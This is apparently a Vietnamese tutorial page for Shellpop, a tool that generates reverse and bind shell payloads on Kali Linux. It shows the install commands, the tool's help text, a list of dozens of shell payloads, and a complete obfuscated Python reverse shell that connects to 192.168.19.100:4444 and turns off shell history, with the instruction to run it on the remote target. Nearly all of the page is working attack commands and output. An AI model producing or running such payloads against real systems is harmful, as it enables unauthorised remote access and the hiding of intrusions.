Tạo vô vàn lệnh shell chiếm quyền truy cập bằng công cụ Shellpop trên Linux

1

git clone https://github.com/0x00-0x00/ShellPop.git

1
2

root@kali# apt-get install python-argcomplete metasploit-framework -y
root@kali# pip install -r requirements.txt

1

root@kali# python setup.py install

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

root@kali:~/Documents/ShellPop# shellpop --help
usage: shellpop [-h] [-l] [-H HOST] [-P PORT] [--number NUMBER]
               [--shell SHELL] [--reverse] [--bind] [--payload PAYLOAD]
               [--xor] [--base64] [--urlencode] [--ipfuscate]
               [--obfuscate-small] [--handler] [--stager STAGER]
               [--http-port HTTP_PORT] [--powershell-x86] [--powershell-x64]
               [--powershell-random-case] [--clip]

Options:
 -h, --help            show this help message and exit
 -l, --list            List of available shells
 -H HOST, --host HOST  IP to be used in connectback (reverse) shells.
 -P PORT, --port PORT  Port to be used in reverse/bind shell code.
 --number NUMBER       Shell code index number
 --shell SHELL         Terminal shell to be used when decoding some encoding
                       scheme.
 --handler             Use handler, if possible.

Shell Types:
 --reverse             Victim communicates back to the attacking machine.
 --bind                Open up a listener on the victim machine.
 --payload PAYLOAD     Choose the payload

Encoders Options:
 --xor                 Enable XOR obfuscation
 --base64              Encode command in base64.
 --urlencode           Encode the command in URL encoding.

Obfuscation Options:
 --ipfuscate           Obfuscate IP address.
 --obfuscate-small     Obfuscated command will be as small as possible.

Staging Options:
 --stager STAGER       Use staging for shells
 --http-port HTTP_PORT
                       HTTP staging port to be used

PowerShell options:
 --powershell-x86      Use powershell 32-bit executable.
 --powershell-x64      Use powershell 64-bit executable.
 --powershell-random-case
                       Use random-case in powershell payloads.

Miscellaneous:
 --clip                Copy payload to your clipboard automatically.

Pop shells like a master. For more help
visit:https://github.com/0x00-0x00/ShellPop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

root@kali:~/Documents/ShellPop# shellpop --list
shellpop v0.36
Contributors: @zc00l,@touhidshaikh,@lowfuel

[+] Bind shells:

  1. Python TCP +pty
  2. Python UDP
  3. Perl TCP
  4. Perl UDP
  5. PHP TCP
  6. PHP UDP
  7. Ruby TCP
  8. Ruby UDP
  9. Netcat (OpenBSD) TCP
 10. Netcat+coproc (OpenBSD) UDP
 11. Netcat (Traditional) TCP
 12. AWK TCP
 13. socat UDP
 14. Windows Powershell TCP
 15. Windows Powershell Nishang TCP


[+] Reverse shells:

  1. Python TCP +pty
  2. Python UDP
  3. PHP TCP
  4. Ruby TCP
  5. Perl TCP 01
  6. Perl TCP 02
  7. Perl UDP [nc -lkvup PORT]
  8. Bash TCP
  9. Windows Powershell TCP
 10. TCLsh TCP
 11. Ncat TCP
 12. Ncat SSL TCP
 13. Netcat (Traditional) UDP
 14. Netcat (Traditional) TCP
 15. Netcat (OpenBSD) mkfifo TCP
 16. Netcat (OpenBSD) mknod TCP
 17. Telnet mkfifo TCP
 18. Telnet mknod TCP
 19. openssl TCP
 20. socat TCP
 21. awk TCP
 22. awk UDP
 23. Windows Bat2Ncat TCP
 24. Windows Powershell Shellcode-Injection a.k.a BloodSeeker TCP - x64
 25. Windows Powershell Tiny TCP
 26. Windows Powershell Nishang TCP
 27. Windows Powershell Nishang ICMP
 28. Windows Bat2Meterpreter TCP
 29. Groovy TCP

1
2
3
4
5
6

root@kali:~# shellpop --host eth0 --port 4444 --reverse --number 1
[+] Execute this code in remote target: 

python -c "import os;import pty;import socket;jbNZvh='192.168.19.100';GCVfMeJlExfIfs=4444;ugQNFu=socket.socket(socket.AF_INET,socket.SOCK_STREAM);ugQNFu.connect((jbNZvh,GCVfMeJlExfIfs));os.dup2(ugQNFu.fileno(),0);os.dup2(ugQNFu.fileno(),1);os.dup2(ugQNFu.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');ugQNFu.close();" 

[+] This shell DOES NOT have a handler set.